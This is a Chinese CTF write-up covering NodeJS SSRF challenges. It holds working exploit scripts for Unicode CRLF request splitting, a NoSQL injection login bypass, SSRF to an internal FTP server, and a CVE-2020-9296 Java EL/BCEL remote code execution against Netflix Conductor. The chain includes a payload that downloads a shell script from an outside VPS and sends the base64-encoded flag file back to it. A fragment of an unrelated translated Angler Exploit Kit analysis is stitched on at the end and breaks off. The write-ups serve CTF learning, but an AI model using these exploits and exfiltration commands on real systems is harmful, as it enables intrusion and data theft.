根据上面几点，可以大致判断是利用SSRF伪造本地ip进行文件上传，上传一个pug模板文件（可以搜一下pug文件的代码格式[https://www.pugjs.cn/language/includes.html）到/template目录下，这个pug模板文件中含有将根目录里的flag包含进来的代码，然后用?action=来包含该文件，就可读取到flag。](https://www.pugjs.cn/language/includes.html%EF%BC%89%E5%88%B0/template%E7%9B%AE%E5%BD%95%E4%B8%8B%EF%BC%8C%E8%BF%99%E4%B8%AApug%E6%A8%A1%E6%9D%BF%E6%96%87%E4%BB%B6%E4%B8%AD%E5%90%AB%E6%9C%89%E5%B0%86%E6%A0%B9%E7%9B%AE%E5%BD%95%E9%87%8C%E7%9A%84flag%E5%8C%85%E5%90%AB%E8%BF%9B%E6%9D%A5%E7%9A%84%E4%BB%A3%E7%A0%81%EF%BC%8C%E7%84%B6%E5%90%8E%E7%94%A8?action=%E6%9D%A5%E5%8C%85%E5%90%AB%E8%AF%A5%E6%96%87%E4%BB%B6%EF%BC%8C%E5%B0%B1%E5%8F%AF%E8%AF%BB%E5%8F%96%E5%88%B0flag%E3%80%82)
看到`/core`路由，关键代码在这里：
if (q) {
var url = 'http://localhost:8081/source?' + q
console.log(url)
var trigger = blacklist(url);
if (trigger === true) {
res.send("<p>error occurs!</p>");
} else {
try {
http.get(url, function(resp) {
可以传入一个q参数，然后服务器去请求，这里就存在一个SSRF了，可以通过这个点，来进行一个拆分请求，从而可以利用刚刚的文件上传点将我们的文件上传上去。这就涉及到了前面讲的
NodeJS的Unicode编码造成的CRLF注入问题了。如果对Unicode编码经过精心的构造，就可以通过拆分请求实现的SSRF攻击（也就是一种CRLF注入），通过换行让服务端将我们的第一次请求下面构造的报文内容，当作一次单独的HTTP请求，而这个构造的请求就是我们的文件上传请求了。
接下来抓包并构造请求即可：
对抓取到的文件上传的数据包进行删除Cookie，并将Host、Origin、Referer等改为本地地址、Content-Type改为
`../template` 用于目录穿越（注意Content-Length也需要改成变化后的值），然后编写以下利用脚本：
import urllib.parse
import requests
payload = ''' HTTP/1.1
POST /file_upload HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 266
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryG01qmiZ5h6Ap0QSc
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://127.0.0.1:8081/?action=upload
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryG01qmiZ5h6Ap0QSc
Content-Disposition: form-data; name="file"; filename="shell.pug"
Content-Type: ../template
doctype html
html
head
style
include ../../../../../../../flag.txt
------WebKitFormBoundaryG01qmiZ5h6Ap0QSc--
GET / HTTP/1.1
test:'''.replace("\n", "\r\n")
def payload_encode(raw):
ret = u""
for i in raw:
ret += chr(0x0100+ord(i))
return ret
payload = payload_encode(payload)
print(payload)
r = requests.get('http://b5db3d85-4230-43f3-84d2-de9a952a0451.node3.buuoj.cn/core?q=' + urllib.parse.quote(payload))
print(r.text)
执行脚本后即可成功进行目录穿越，将shell.pug文件上传到template目录中，然后访问 `/?action=shell` 即可得到flag：
## [2021 MRCTF]Half-Nosqli
进入题目，啥也没有，目录扫描找到了 `/docs`，访问得到一个Swagger UI：
有两个Api接口，一个是 `/login` 用于登录，另一个是 `/home` 可通过url属性进行
SSRF。我们可以编写脚本来访问这两个Api接口。首先访问 `/home`接口报错，因为需要验证，所以思路应该是先访问 `/login`
接口进行登录，登录后拿到token再去访问 `/home`
接口。这里由于题目提示了是NoSQL，所以我们直接使用NoSQL的永真trick绕过：<https://www.anquanke.com/post/id/97211#h2-10>
所以最终的脚本如下：
import requests
import json
url = "http://node.mrctf.fun:23000/"
json_data = {
"email": {"$ne": ""},
"password": {"$ne": ""}
}
res = requests.post(url=url+'login',json=json_data)
token = res.json()['token']
json_data2 = {
"url":"http://47.101.57.72:4000" # 通过这里的url值进行SSRF
}
headers = {
"Authorization":"Bearer "+token
}
res2 = requests.post(url=url+'home',json=json_data2,headers=headers)
print(res2)
这样我们便可以通过 `/home` 接口的url值进行SSRF了，先访问一下自己的 VPS 试试：
成功。
然后接下来就是利用 Node JS 的 HTTP 响应拆分攻击构造 SSRF 去打他本地的 FTP，原理在前面的几节中已经讲得很清楚了。由于题目给出了
docker-compose.yml，在这里面发现了FTP的主机名为 `ftp`，端口为 8899。
构造 FTP 命令：
USER anonymous
PASS
CWD files
TYPE I
PORT 47,101,57,72,0,2000
RETR flag
编写攻击脚本，并现在自己 VPS 上面测试：
import requests
import json
url = "http://node.mrctf.fun:23000/"
ftp_payload = ''' HTTP/1.1
USER anonymous
PASS
CWD files
TYPE I
PORT 47,101,57,72,0,2000
RETR flag
test:'''.replace("\n","\r\n")
json_data = {
"email": {"$ne": ""},
"password": {"$ne": ""}
}
res = requests.post(url=url+'login',json=json_data)
token = res.json()['token']
def payload_encode(raw):
ret = u""
for i in raw:
ret += chr(0x0100+ord(i))
return ret
ftp_payload = payload_encode(ftp_payload)
print(ftp_payload)
json_data2 = {
"url":"http://47.101.57.72:8899/"+ftp_payload # 通过这里的url值进行SSRF
}
headers = {
"Authorization":"Bearer "+token
}
res2 = requests.post(url=url+'home',json=json_data2,headers=headers)
print(res2)
VPS 上面成功接收到了 FTP 命令，下面开始正式攻击，首先在自己 VPS 上监听 2000 端口等待 FTP 服务器的主动连接并用于后续的文件传输：
然后执行攻击脚本：
import requests
import json
url = "http://node.mrctf.fun:23000/"
ftp_payload = ''' HTTP/1.1
USER anonymous
PASS
CWD files
TYPE I
PORT 47,101,57,72,0,2000
RETR flag
test:'''.replace("\n","\r\n")
json_data = {
"email": {"$ne": ""},
"password": {"$ne": ""}
}
res = requests.post(url=url+'login',json=json_data)
token = res.json()['token']
def payload_encode(raw):
ret = u""
for i in raw:
ret += chr(0x0100+ord(i))
return ret
ftp_payload = payload_encode(ftp_payload)
print(ftp_payload)
json_data2 = {
"url":"http://ftp:8899/"+ftp_payload # 通过这里的url值进行SSRF
}
headers = {
"Authorization":"Bearer "+token
}
res2 = requests.post(url=url+'home',json=json_data2,headers=headers)
print(res2)
成功得到flag：
## [2021 虎符杯 CTF]Internal System
进入题目，是一个很炫酷的登录页面：
访问 /source 路由得到源码：
const express = require('express')
const router = express.Router()
const axios = require('axios')
const isIp = require('is-ip')
const IP = require('ip')
const UrlParse = require('url-parse')
const {sha256, hint} = require('./utils')
const salt = 'nooooooooodejssssssssss8_issssss_beeeeest'
const adminHash = sha256(sha256(salt + 'admin') + sha256(salt + 'admin')) // 计算 admin 的哈希
const port = process.env.PORT || 3000 // 这个 NodeJS 服务默认是开在 3000 端口
function formatResopnse(response) {
if(typeof(response) !== typeof('')) {
return JSON.stringify(response) // 如果 response 不等于空, 则将其转换为 JSON 的格式并返回
} else {
return response
}
}
function SSRF_WAF(url) {
const host = new UrlParse(url).hostname.replace(/\[|\]/g, '') // 将 hostname 中的 [ ] 替换为空
return isIp(host) && IP.isPublic(host) // hostname必须是ip, 并且如果是公网IP则返回true, 防止 SSRF
}
function FLAG_WAF(url) {
const pathname = new UrlParse(url).pathname // pathname 中不能有/flag
return !pathname.startsWith('/flag')
}
function OTHER_WAF(url) {
return true;
}
const WAF_LISTS = [OTHER_WAF, SSRF_WAF, FLAG_WAF]
router.get('/', (req, res, next) => {
if(req.session.admin === undefined || req.session.admin === null) { // 如果没设置 session.admin 则返回登录页面
res.redirect('/login')
} else {
res.redirect('/index')
}
})
router.get('/login', (req, res, next) => {
const {username, password} = req.query;
if(!username || !password || username === password || username.length === password.length || username === 'admin') {
res.render('login') // 主要判断是否输入，以及所输入的用户名和密码是否一致，以及用户名是否为 admin，如果是的话，直接拦截
} else { // 可以设 username=['admin']&password=admin 绕过
const hash = sha256(sha256(salt + username) + sha256(salt + password))
req.session.admin = hash === adminHash // session.admin 等于 "hash === adminHash" 的判断结果
res.redirect('/index') // 重定向到 /index 路由
}
})
router.get('/index', (req, res, next) => {
if(req.session.admin === undefined || req.session.admin === null) {
res.redirect('/login')
} else {
res.render('index', {admin: req.session.admin, network: JSON.stringify(require('os').networkInterfaces())})
}
})
router.get('/proxy', async(req, res, next) => {
if(!req.session.admin) { // 必须用admin访问
return res.redirect('/index')
}
const url = decodeURI(req.query.url); // 进行一次 URL 解码
console.log(url)
const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b)
if(!status) { // status 必须为 true
res.render('base', {title: 'WAF', content: "Here is the waf..."})
} else {
try {
const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`)
res.render('base', response.data)
} catch(error) {
res.render('base', error.message)
}
}
})
router.post('/proxy', async(req, res, next) => {
if(!req.session.admin) { // // 必须用admin访问
return res.redirect('/index')
}
// test url
// not implemented here
const url = "https://postman-echo.com/post"
await axios.post(`http://127.0.0.1:${port}/search?url=${url}`)
res.render('base', "Something needs to be implemented")
})
router.all('/search', async (req, res, next) => {
if(!/127\.0\.0\.1/.test(req.ip)){ // 必须要匹配到 127.0.0.1, 即必须在本地访问 /search 这个路由
return res.send({title: 'Error', content: 'You can only use proxy to aceess here!'})
}
const result = {title: 'Search Success', content: ''}
const method = req.method.toLowerCase() // 请求方式
const url = decodeURI(req.query.url) // 再进行二次 URL 解码
const data = req.body
try {
if(method == 'get') {
const response = await axios.get(url)
result.content = formatResopnse(response.data)
} else if(method == 'post') {
const response = await axios.post(url, data)
result.content = formatResopnse(response.data)
} else {
result.title = 'Error'
result.content = 'Unsupported Method'
}
} catch(error) {
result.title = 'Error'
result.content = error.message
}
return res.json(result)
})
router.get('/source', (req, res, next)=>{
res.sendFile( __dirname + "/" + "index.js");
})
router.get('/flag', (req, res, next) => {
if(!/127\.0\.0\.1/.test(req.ip)){ // 必须要匹配到 127.0.0.1, 即必须在本地访问 /flag 这个路由
return res.send({title: 'Error', content: 'No Flag For You!'})
}
return res.json({hint: hint})
})
module.exports = router
代码逻辑比较简单，不做过多描述。
首先我们要做的是登录，登录的处理逻辑：
router.get('/login', (req, res, next) => {
const {username, password} = req.query;
if(!username || !password || username === password || username.length === password.length || username === 'admin') { // 主要判断是否输入，以及所输入的用户名和密码是否一致，以及用户名是否为 admin，如果是的话，直接拦截
res.render('login')
} else {
const hash = sha256(sha256(salt + username) + sha256(salt + password)) // 组合成 hash
req.session.admin = hash === adminHash // 与管理员 hash 比较，对上了就给 session 里这个东西赋值真
res.redirect('/index')
}
})
这里用到了 JavaScript 弱类型的特性。即 JavaScript 的数组在使用加号拼接的时候最终还是会得到一个字符串（string），于是不会影响
sha256 的处理：
看完之后你可能就明白了，我们如下构造 Payload 即可绕过：
/login?username[]=admin&password=admin
登录绕过后，就能成功以管理员身份进入，并来到以下页面：
这是一个代理器页面，通过这个页面我们可以直接访问到外网的页面：
接下来就是有趣的 SSRF 了……
首先，这里提交的 URL 会调用 `GET /proxy` 接口，再来看源码：
......
function SSRF_WAF(url) {
const host = new UrlParse(url).hostname.replace(/\[|\]/g, '') // 将 hostname 中的 [ ] 替换为空
return isIp(host) && IP.isPublic(host) // hostname必须是ip, 并且如果是公网IP则返回true, 防止 SSRF
}
function FLAG_WAF(url) {
const pathname = new UrlParse(url).pathname // pathname 中不能有/flag
return !pathname.startsWith('/flag')
}
function OTHER_WAF(url) {
return true;
}
const WAF_LISTS = [OTHER_WAF, SSRF_WAF, FLAG_WAF]
......
router.get('/proxy', async(req, res, next) => {
if(!req.session.admin) { // 必须用admin访问
return res.redirect('/index')
}
const url = decodeURI(req.query.url); // 进行一次 url 解码
console.log(url)
const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b)
if(!status) { // status 必须为 true
res.render('base', {title: 'WAF', content: "Here is the waf..."})
} else {
try {
const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`)
res.render('base', response.data)
} catch(error) {
res.render('base', error.message)
}
}
})
router.post('/proxy', async(req, res, next) => {
if(!req.session.admin) { // // 必须用admin访问
return res.redirect('/index')
}
// test url
// not implemented here
const url = "https://postman-echo.com/post"
await axios.post(`http://127.0.0.1:${port}/search?url=${url}`)
res.render('base', "Something needs to be implemented")
})
这里前面几个 WAF 对 /proxy 路由做了限制，要求输入的 URL Host 为 IP 且为公网 IP，且目录不以 `/flag`
开头。那么就要想办法绕过一下，最简单的办法，就是尝试一下
0.0.0.0，请求时如果用这个地址，会默认访问到本机上。只要是本机监听的端口，都会被请求到。由于这个 NodeJS 服务默认是开在 3000
端口，所以我们输入 `http://0.0.0.0:3000`，成功了：
那我们便可以成功进行 SSRF 了，像那些只限制本地访问的接口，比如 /search，就能访问了。并且，由于题目对 /search
路由做的限制仅限于从本地访问，那我们的思路便是通过 /proxy 代理路由去访问一些真从从本地访问的路由，比如 /search 路由，然后通过这个
/search 路由去进行 SSRF 去访问 /flag 路由：
/proxy?url=http://0.0.0.0:3000/search?url=http://127.0.0.1:3000/flag
如上图所示，成功访问 /flag 路由，并得到了 Hint：
{"title":"Search Success","content":"{\"hint\":\"someone else also deploy a netflix conductor server in Intranet?\"}"}
提示我们在内网中有部署了一个 Netflix Conductor Server。Netflix Conductor 是 Netflix
开发的一款工作流编排的引擎，在 2.25.3 及以下版本中存在一个任意代码执行（CVE-2020-9296）。漏洞成因在于自定义约束冲突时的错误信息支持了
Java EL 表达式，而且这部分错误信息是攻击者可控的，所以攻击者可以通过注入 Java EL 表达式进行任意代码执行。
那么既然要利用该漏洞就要先在内网中找到这个 Netflix Conductor Server，网上找到它的默认端口为
8080，那么我们来探测一下内网，找一下哪台机器是那个服务器：
/proxy?url=http://0.0.0.0:3000/search?url=http://10.0.41.9:8080
/proxy?url=http://0.0.0.0:3000/search?url=http://10.0.41.10:8080
/proxy?url=http://0.0.0.0:3000/search?url=http://10.0.41.11:8080
......
/proxy?url=http://0.0.0.0:3000/search?url=http://10.0.41.14:8080
在测试到 10.0.41.14 的时候有了回应：
是个 Swagger UI，也就是 Netflix Conductor 的文档页，后面就是 Netflix Conductor Server
了。目标找到了，就是这个 10.0.41.14。下面我们就开始尝试利用 Netflix Conductor
的那个漏洞，具体的利用过程请看：<https://xz.aliyun.com/t/7889#toc-2> 。
Netflix Conductor 的这个漏洞出在 `/api/metadata/taskdefs` 上，需要 POST 一个 JSON
过去，里面含有恶意的 BCEL 编码，可以造成 RCE。
那我们首先得准备 BCEL 编码。我们先在本地创建一个恶意的 Evil.java：
public class Evil
{
public Evil() {
try {
Runtime.getRuntime().exec("wget http://47.xxx.xxx.72:2333/shell.txt -O /tmp/shell");
}
catch (Exception ex) {
ex.printStackTrace();
}
}
public static void main(final String[] array) {
}
}
shell.txt 位于我们的 VPS 上，里面的内容为：
#!/bin/sh
wget http://47.101.57.72:2333/?a=`cat /flag|base64`
然后使用 `javac` 将 Evil.java 编译，然后再使用
[BCELCodeman](https://github.com/f1tz/BCELCodeman) 这个工具将其转换为 BCEL 编码：
javac Evil.java // 编译Evil.java
java -jar BCELCodeman.jar e Evil.class // 转换为 BCEL 编码
然后把它给组合到攻击 Netflix Conductor 所使用的 Json 里：
[{"name":"${'1'.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$5dO$gA$U$3d$b3$m$L$eb$o$a0$FE$ab$85$f6$a1K$9b$ee$W$d1$90$a8$f1$c5$d8$t$fc$88$98$f6$a1$_$5d$b6$T$Y$ba$y$9be$a0$fc$a3$3e$fbb$8d$P$fe$80$fe$a8$ea$9d$d5$88$89N2g$e6$9e$7b$e6$dc$3b3$ff$fe_$df$A$d8$c2$3b$Di$bc2PD$v$8de$b5$ae$e8$u$h$98$c3$aa$8e5$j$af$ZR$7b$o$Qr$9f$na$d5$be2$q$P$86$3f9C$ae$r$C$7e$3c$ktxt$eev$7cb$b2m$e9z$bf$8e$dc0$8e$e3$d3e$92$P$5c$R0$94$ac$ef$ad$be$3bq$j$df$N$baN$5bF$o$e8$ee$w$3b$a3$3d$iG$k$ff$o$94E$e6p$o$7c$5b$e9Ld$60$e8X7$b1$817$M$db$bf$bb$5cVzR$86$3b$8e$b3$d5$b4$eb$9f$eb$f6v$d3nn$eel6$g$Ng$d4$e3$beo$cb$a9$ac$7c$3a$a98r$Q$de3$s$w$a82$y$cd$K$lN$3d$kJ1$ML$bc$85A$dd$a9$82$M$f9$99$e2$a4$d3$e7$9ed$u$cc$a8$b3q$m$c5$80$da3$a8$89$c7$a0h$d5Z$cf4$bbd$c9$a7$dccxo$bdp$df$t$d4i4$f4$f8hD$Hr$n$re$fcx$e7$91$ebqT$a1$d3$a7$a8$a1$81$a9w$m$9c$a7$e8$H$c5$g$ad$a5$P$7f$c1$ae$a0$z$s$$$91$fc$f6$H$e9$d6$c7K$a4$$H$95D$Wy$fa$3b$N$s$e9V$91$oL$Q$3bG$7c$862$3a$K$e4$5c$q$c7$ye$f2$d0n$J$98$8e$F$F$b9d$ac$v$3cT$x$d3dj$5e$c4$he$98$8a$89$y$e1b$dc$dc$d2$j$b6$ba$u$fcG$C$A$A').newInstance().class}","ownerEmail":"[email protected]","retryCount":"3","timeoutSeconds":"1200","inputKeys":["sourceRequestId","qcElementType"],"outputKeys":["state","skipped","result"],"timeoutPolicy":"TIME_OUT_WF","retryLogic":"FIXED","retryDelaySeconds":"600","responseTimeoutSeconds":"3600","concurrentExecLimit":"100","rateLimitFrequencyInSeconds":"60","rateLimitPerFrequency":"50","isolationgroupId":"myIsolationGroupId"}]
最后就是我们攻击 Netflix Conductor 所使用的 POST 请求了：
POST /search?url=http://10.0.99.14:8080/api/metadata/taskdefs HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Content-Length:1535
[{"name":"${'1'.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$5dO$gA$U$3d$b3$m$L$eb$o$a0$FE$ab$85$f6$a1K$9b$ee$W$d1$90$a8$f1$c5$d8$t$fc$88$98$f6$a1$_$5d$b6$T$Y$ba$y$9be$a0$fc$a3$3e$fbb$8d$P$fe$80$fe$a8$ea$9d$d5$88$89N2g$e6$9e$7b$e6$dc$3b3$ff$fe_$df$A$d8$c2$3b$Di$bc2PD$v$8de$b5$ae$e8$u$h$98$c3$aa$8e5$j$af$ZR$7b$o$Qr$9f$na$d5$be2$q$P$86$3f9C$ae$r$C$7e$3c$ktxt$eev$7cb$b2m$e9z$bf$8e$dc0$8e$e3$d3e$92$P$5c$R0$94$ac$ef$ad$be$3bq$j$df$N$baN$5bF$o$e8$ee$w$3b$a3$3d$iG$k$ff$o$94E$e6p$o$7c$5b$e9Ld$60$e8X7$b1$817$M$db$bf$bb$5cVzR$86$3b$8e$b3$d5$b4$eb$9f$eb$f6v$d3nn$eel6$g$Ng$d4$e3$beo$cb$a9$ac$7c$3a$a98r$Q$de3$s$w$a82$y$cd$K$lN$3d$kJ1$ML$bc$85A$dd$a9$82$M$f9$99$e2$a4$d3$e7$9ed$u$cc$a8$b3q$m$c5$80$da3$a8$89$c7$a0h$d5Z$cf4$bbd$c9$a7$dccxo$bdp$df$t$d4i4$f4$f8hD$Hr$n$re$fcx$e7$91$ebqT$a1$d3$a7$a8$a1$81$a9w$m$9c$a7$e8$H$c5$g$ad$a5$P$7f$c1$ae$a0$z$s$$$91$fc$f6$H$e9$d6$c7K$a4$$H$95D$Wy$fa$3b$N$s$e9V$91$oL$Q$3bG$7c$862$3a$K$e4$5c$q$c7$ye$f2$d0n$J$98$8e$F$F$b9d$ac$v$3cT$x$d3dj$5e$c4$he$98$8a$89$y$e1b$dc$dc$d2$j$b6$ba$u$fcG$C$A$A').newInstance().class}","ownerEmail":"[email protected]","retryCount":"3","timeoutSeconds":"1200","inputKeys":["sourceRequestId","qcElementType"],"outputKeys":["state","skipped","result"],"timeoutPolicy":"TIME_OUT_WF","retryLogic":"FIXED","retryDelaySeconds":"600","responseTimeoutSeconds":"3600","concurrentExecLimit":"100","rateLimitFrequencyInSeconds":"60","rateLimitPerFrequency":"50","isolationgroupId":"myIsolationGroupId"}]
接下来要考虑的就是使用前文所讲的利用 Nodejs Unicode 进行 HTTP 拆分攻击来将这个 POST 请求发送出去了。
首先编写如下脚本生成符合 NodeJS 8 HTTP 拆分攻击要求的 Payload：
payload = ''' HTTP/1.1
POST /search?url=http://10.0.99.14:8080/api/metadata/taskdefs HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Content-Length:1535
[{"name":"${'1'.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$5dO$gA$U$3d$b3$m$L$eb$o$a0$FE$ab$85$f6$a1K$9b$ee$W$d1$90$a8$f1$c5$d8$t$fc$88$98$f6$a1$_$5d$b6$T$Y$ba$y$9be$a0$fc$a3$3e$fbb$8d$P$fe$80$fe$a8$ea$9d$d5$88$89N2g$e6$9e$7b$e6$dc$3b3$ff$fe_$df$A$d8$c2$3b$Di$bc2PD$v$8de$b5$ae$e8$u$h$98$c3$aa$8e5$j$af$ZR$7b$o$Qr$9f$na$d5$be2$q$P$86$3f9C$ae$r$C$7e$3c$ktxt$eev$7cb$b2m$e9z$bf$8e$dc0$8e$e3$d3e$92$P$5c$R0$94$ac$ef$ad$be$3bq$j$df$N$baN$5bF$o$e8$ee$w$3b$a3$3d$iG$k$ff$o$94E$e6p$o$7c$5b$e9Ld$60$e8X7$b1$817$M$db$bf$bb$5cVzR$86$3b$8e$b3$d5$b4$eb$9f$eb$f6v$d3nn$eel6$g$Ng$d4$e3$beo$cb$a9$ac$7c$3a$a98r$Q$de3$s$w$a82$y$cd$K$lN$3d$kJ1$ML$bc$85A$dd$a9$82$M$f9$99$e2$a4$d3$e7$9ed$u$cc$a8$b3q$m$c5$80$da3$a8$89$c7$a0h$d5Z$cf4$bbd$c9$a7$dccxo$bdp$df$t$d4i4$f4$f8hD$Hr$n$re$fcx$e7$91$ebqT$a1$d3$a7$a8$a1$81$a9w$m$9c$a7$e8$H$c5$g$ad$a5$P$7f$c1$ae$a0$z$s$$$91$fc$f6$H$e9$d6$c7K$a4$$H$95D$Wy$fa$3b$N$s$e9V$91$oL$Q$3bG$7c$862$3a$K$e4$5c$q$c7$ye$f2$d0n$J$98$8e$F$F$b9d$ac$v$3cT$x$d3dj$5e$c4$he$98$8a$89$y$e1b$dc$dc$d2$j$b6$ba$u$fcG$C$A$A').newInstance().class}","ownerEmail":"[email protected]","retryCount":"3","timeoutSeconds":"1200","inputKeys":["sourceRequestId","qcElementType"],"outputKeys":["state","skipped","result"],"timeoutPolicy":"TIME_OUT_WF","retryLogic":"FIXED","retryDelaySeconds":"600","responseTimeoutSeconds":"3600","concurrentExecLimit":"100","rateLimitFrequencyInSeconds":"60","rateLimitPerFrequency":"50","isolationgroupId":"myIsolationGroupId"}]
GET / HTTP/1.1
test:'''.replace("\n","\r\n")
payload = payload.replace('\r\n', '\u010d\u010a') \
.replace('+', '\u012b') \
.replace(' ', '\u0120') \
.replace('[', '\u015b') \
.replace(']', '\u015d') \
.replace('`', '\u0127') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('{', '\u017b') \
.replace('}', '\u017d')
print(payload)
# 输出: ĠHTTP/1.1čĊčĊPOSTĠ/search?url=http://10.0.99.14:8080/api/metadata/taskdefsĠHTTP/1.1čĊHost:Ġ127.0.0.1:3000čĊContent-Type:Ġapplication/jsončĊContent-Length:1535čĊčĊśŻĢnameĢ:Ģ$Żਧ1ਧ.getClass().forName(ਧcom.sun.org.apache.bcel.internal.util.ClassLoaderਧ).newInstance().loadClass(ਧ$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$5dO$gA$U$3d$b3$m$L$eb$o$a0$FE$ab$85$f6$a1K$9b$ee$W$d1$90$a8$f1$c5$d8$t$fc$88$98$f6$a1$_$5d$b6$T$Y$ba$y$9be$a0$fc$a3$3e$fbb$8d$P$fe$80$fe$a8$ea$9d$d5$88$89N2g$e6$9e$7b$e6$dc$3b3$ff$fe_$df$A$d8$c2$3b$Di$bc2PD$v$8de$b5$ae$e8$u$h$98$c3$aa$8e5$j$af$ZR$7b$o$Qr$9f$na$d5$be2$q$P$86$3f9C$ae$r$C$7e$3c$ktxt$eev$7cb$b2m$e9z$bf$8e$dc0$8e$e3$d3e$92$P$5c$R0$94$ac$ef$ad$be$3bq$j$df$N$baN$5bF$o$e8$ee$w$3b$a3$3d$iG$k$ff$o$94E$e6p$o$7c$5b$e9Ld$60$e8X7$b1$817$M$db$bf$bb$5cVzR$86$3b$8e$b3$d5$b4$eb$9f$eb$f6v$d3nn$eel6$g$Ng$d4$e3$beo$cb$a9$ac$7c$3a$a98r$Q$de3$s$w$a82$y$cd$K$lN$3d$kJ1$ML$bc$85A$dd$a9$82$M$f9$99$e2$a4$d3$e7$9ed$u$cc$a8$b3q$m$c5$80$da3$a8$89$c7$a0h$d5Z$cf4$bbd$c9$a7$dccxo$bdp$df$t$d4i4$f4$f8hD$Hr$n$re$fcx$e7$91$ebqT$a1$d3$a7$a8$a1$81$a9w$m$9c$a7$e8$H$c5$g$ad$a5$P$7f$c1$ae$a0$z$s$$$91$fc$f6$H$e9$d6$c7K$a4$$H$95D$Wy$fa$3b$N$s$e9V$91$oL$Q$3bG$7c$862$3a$K$e4$5c$q$c7$ye$f2$d0n$J$98$8e$F$F$b9d$ac$v$3cT$x$d3dj$5e$c4$he$98$8a$89$y$e1b$dc$dc$d2$j$b6$ba$u$fcG$C$A$Aਧ).newInstance().classŽĢ,ĢownerEmailĢ:Ģ[email protected]Ģ,ĢretryCountĢ:Ģ3Ģ,ĢtimeoutSecondsĢ:Ģ1200Ģ,ĢinputKeysĢ:śĢsourceRequestIdĢ,ĢqcElementTypeĢŝ,ĢoutputKeysĢ:śĢstateĢ,ĢskippedĢ,ĢresultĢŝ,ĢtimeoutPolicyĢ:ĢTIME_OUT_WFĢ,ĢretryLogicĢ:ĢFIXEDĢ,ĢretryDelaySecondsĢ:Ģ600Ģ,ĢresponseTimeoutSecondsĢ:Ģ3600Ģ,ĢconcurrentExecLimitĢ:Ģ100Ģ,ĢrateLimitFrequencyInSecondsĢ:Ģ60Ģ,ĢrateLimitPerFrequencyĢ:Ģ50Ģ,ĢisolationgroupIdĢ:ĢmyIsolationGroupIdĢŽŝčĊčĊGETĠ/ĠHTTP/1.1čĊtest:
然后需要将上面生成的 Payload 进行三次 URL 编码，因为我们的 GET 请求会解码一次，进入 /proxy 路由又会解码一次，最后进行
/search 路由进行攻击又会解码一次。
先来测试一下，在自己 VPS 上开个监听 3000 端口，然后执行：
/proxy?url=http://47.101.57.72:3000/%2525C4%2525A0HTTP%25252F1.1%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258APOST%2525C4%2525A0%25252Fsearch%25253Furl%25253Dhttp%25253A%25252F%25252F10.0.99.14%25253A8080%25252Fapi%25252Fmetadata%25252Ftaskdefs%......T%2525C4%2525A0%25252F%2525C4%2525A0HTTP%25252F1.1%2525C4%25258D%2525C4%25258Atest%25253A
如上图所示，成功发送了一个POST请求，也就是我们的攻击请求。
先在自己的 VPS 上存在 shell.txt 的目录中用 Python 开启一个 HTTP 服务：
然后执行 Payload：
/proxy?url=http://0.0.0.0:3000/%2525C4%2525A0HTTP%25252F1.1%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258APOST%2525C4%2525A0%25252Fsearch%25253Furl%25253Dhttp%25253A%25252F%25252F10.0.99.14%25253A8080%25252Fapi%25252Fmetadata%25252Ftaskdefs%......T%2525C4%2525A0%25252F%2525C4%2525A0HTTP%25252F1.1%2525C4%25258D%2525C4%25258Atest%25253A
如上图所示，成功控制目标主机下载了我们的 shell.txt 文件，然后再次编写一个 Evil.java 用于执行刚才下载下来的 shell.txt 文件：
public class Evil
{
public Evil() {
try {
Runtime.getRuntime().exec("sh /tmp/shell");
}
catch (Exception ex) {
ex.printStackTrace();
}
}
public static void main(final String[] array) {
}
}
重新编译，重新编码，重新构造并发送 Payload：
如上图所示，成功执行了 /tmp/shell 并带出了经过 base64 编码后的 flag：
## Ending…… | 社区文章 |
# Angler Exploit Kit介绍（下集）
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://researchcenter.paloaltonetworks.com/2016/01/angler-exploit-kit-continues-to-evade-detection-over-90000-websites-compromised/>
译文仅供参考，具体内容表达以及含义原文为准。
**我们在上集中介绍了有关Angler EK的相关知识，在下集中我们将继续对这款漏洞利用工具进行分析。**
我们发现，EK代码中包含有多个行为层，在图片7中显示的使用ActiveXObject进行初始化的情况。在实例中，变量“zmomfokopbpbbi”包含有一个很长的随机字符串（第二行）。恶意JavaScript脚本会尝试欺骗浏览器，以躲避浏览器的检测，而恶意软件检测工具通常都会提供有效的ActiveXObject。换而言之，真正的IE浏览器将会抛出一个try语句的错误信息，但检测程序却不会。考虑到变量“qvqymkykvfzpl”的值在第九行代码之前为1，而在真正的IE浏览器之中，变量“zkvluyycbrtp”的值为0，而且其他的浏览器并不支持ActiveXObject，对于特定的浏览器模拟程序而言，它的值会一直保持为1。继续往下查看这段恶意代码（图片8），我们可以看到有很多的函数都会使用到变量“zkvluyycbrtp”的值，而这些函数的返回值就取决于这个变量的值。这就决定了最终恶意脚本是否会对目标系统进行攻击。这是攻击者会用到的其中一种隐藏机制，并通过这种方法来躲避反病毒厂商的检测。
图片7:注入代码示例
